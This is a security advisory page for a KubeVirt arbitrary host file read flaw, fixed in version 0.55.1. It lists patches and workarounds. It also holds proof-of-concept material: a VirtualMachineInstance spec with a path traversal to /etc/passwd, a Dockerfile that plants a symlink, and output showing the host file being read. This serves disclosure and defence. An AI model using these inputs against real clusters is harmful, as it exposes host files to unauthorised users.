GHSA-qv98-3369-g364: Kubevirt.io/kubevirt KubeVirt Vulnerable To Arbitrary File Vulnerability

HIGH
Published
Advisory Summary

GHSA-qv98-3369-g364 is a HIGH kubevirt vulnerable to arbitrary file vulnerability (General Security Weakness) affecting Kubevirt.io/kubevirt libraries in the Go ecosystem. The issue involves kubevirt vulnerable to arbitrary file read on host. Remediation is available by upgrading affected packages to version 0.55.1.

GHSA-qv98-3369-g364 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-qv98-3369-g364
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification General Security Weakness
Affected Product Kubevirt.io/kubevirt
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-qv98-3369-g364

To remediate this vulnerability, upgrade all affected Kubevirt.io/kubevirt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

kubevirt.io/kubevirt fixed: 0.55.1
Upgrade kubevirt.io/kubevirt to 0.55.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for kubevirt.io/kubevirt

How to Check if You Are Affected

To determine whether your application is affected by GHSA-qv98-3369-g364, inspect your project dependencies for Kubevirt.io/kubevirt:

inspect dependencies for kubevirt.io/kubevirt

Analyze the terminal output to locate any version of Kubevirt.io/kubevirt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.55.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under General Security Weakness. In Kubevirt.io/kubevirt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors: 1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: `spec.domain.firmware.kernelBoot.container.kernelPath`, `spec.domain.firmware.kernelBoot.container.initrdPath` as well as `spec.volumes[*].containerDisk.path`. Example: ```yaml apiVersion: [kubevirt.io/v1](http://kubevirt.io/v1) kind: VirtualMachineInstance metadata: name: vmi-fedora spec: domain: devices: disks: - disk: bus: virtio name: containerdisk - disk: bus: virtio name: cloudinitdisk - disk: bus: virtio name: containerdisk1 rng: {} resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - containerDisk: image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0) name: containerdisk - containerDisk: image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0) path: test3/../../../../../../../../etc/passwd name: containerdisk1 - cloudInitNoCloud: userData: | #!/bin/sh echo 'just something to make cirros happy' name: cloudinitdisk ``` 2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect: ```Dockerfile FROM <anybase> RUN mkdir -p /etc/ && touch /etc/passwd RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img ``` 3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads. In all three cases it is then possible to at lest read any host file: ``` $ sudo cat /dev/vdc root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin [...] ``` ### Patches KubeVirt 0.55.1 provides patches to fix the vulnerability. ### Workarounds * Ensure that the `HotplugVolumes` feature-gate is disabled * ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that `spec.domain.firmware.kernelBoot` is not used on VirtualMachineInstances.| * Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work). ### References Disclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm ### For more information For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix: * https://github.com/kubevirt/kubevirt/pull/8198 * https://github.com/kubevirt/kubevirt/pull/8268 ### Credits Oliver Brooks and James Klopchic of NCC Group Diane Dubois and Roman Mohr of Google

GHSA-qv98-3369-g364 Affected Kubevirt.io/kubevirt Versions

1 component(s)
Fixed Versions:
0.55.1
Product / Package Ecosystem Affected Versions Fixed Version
kubevirt.io/kubevirt
Go
≥ 0.20.0
< 0.55.1
0.55.1

References

Frequently Asked Questions

What is GHSA-qv98-3369-g364?
GHSA-qv98-3369-g364 is a security vulnerability in Kubevirt.io/kubevirt involving KubeVirt vulnerable to arbitrary file read on host under General Security Weakness.
Which Kubevirt.io/kubevirt versions are affected?
Affected versions include releases prior to 0.55.1 across affected packages: kubevirt.io/kubevirt.
What version fixes GHSA-qv98-3369-g364?
Upgrading to 0.55.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is kubevirt.io/kubevirt affected?
Yes, kubevirt.io/kubevirt is affected in releases prior to 0.55.1. Upgrade your dependency to 0.55.1 or later.
What CWE is associated with GHSA-qv98-3369-g364?
GHSA-qv98-3369-g364 is classified under General Security Weakness.
How can I check Go dependencies for GHSA-qv98-3369-g364?
Run the dependency tree command: 'inspect dependencies for kubevirt.io/kubevirt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qv98-3369-g364",
  "modified" : "2022-09-15T03:20:35Z",
  "published" : "2022-09-15T03:20:35Z",
  "aliases" : [ ],
  "summary" : "KubeVirt vulnerable to arbitrary file read on host",
  "details" : "### Impact\n\nUsers with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:\n\n1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: `spec.domain.firmware.kernelBoot.container.kernelPath`, `spec.domain.firmware.kernelBoot.container.initrdPath` as well as `spec.volumes[*].containerDisk.path`.\n\nExample:\n\n```yaml\napiVersion: [kubevirt.io/v1](http://kubevirt.io/v1)\nkind: VirtualMachineInstance\nmetadata:\n  name: vmi-fedora\nspec:\n  domain:\n    devices:\n      disks:\n      - disk:\n          bus: virtio\n        name: containerdisk\n      - disk:\n          bus: virtio\n        name: cloudinitdisk\n      - disk:\n          bus: virtio\n        name: containerdisk1\n      rng: {}\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - containerDisk:\n      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)\n    name: containerdisk\n  - containerDisk:\n      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)\n      path: test3/../../../../../../../../etc/passwd\n    name: containerdisk1\n  - cloudInitNoCloud:\n      userData: |\n        #!/bin/sh\n        echo 'just something to make cirros happy'\n    name: cloudinitdisk\n```\n\n2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:\n\n```Dockerfile\nFROM <anybase>\nRUN mkdir -p /etc/ && touch /etc/passwd\nRUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img\n```\n\n3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.\n\nIn all three cases it is then possible to at lest read any host file:\n\n```\n$ sudo cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n[...]\n```\n\n\n### Patches\n\nKubeVirt 0.55.1 provides patches to fix the vulnerability.\n\n\n### Workarounds\n\n* Ensure that the `HotplugVolumes` feature-gate is disabled\n* ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that `spec.domain.firmware.kernelBoot` is not used on VirtualMachineInstances.|\n* Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).\n\n### References\n\n\nDisclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm\n\n### For more information\n\nFor interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:\n\n * https://github.com/kubevirt/kubevirt/pull/8198\n * https://github.com/kubevirt/kubevirt/pull/8268\n \n### Credits\nOliver Brooks and James Klopchic of NCC Group\nDiane Dubois and Roman Mohr of Google\n",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "kubevirt.io/kubevirt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.20.0"
      }, {
        "fixed" : "0.55.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qv98-3369-g364"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevirt/kubevirt/pull/8198"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevirt/kubevirt/pull/8268"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kubevirt/kubevirt"
  } ],
  "database_specific" : {
    "cwe_ids" : [ ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2022-09-15T03:20:35Z",
    "nvd_published_at" : null
  }
}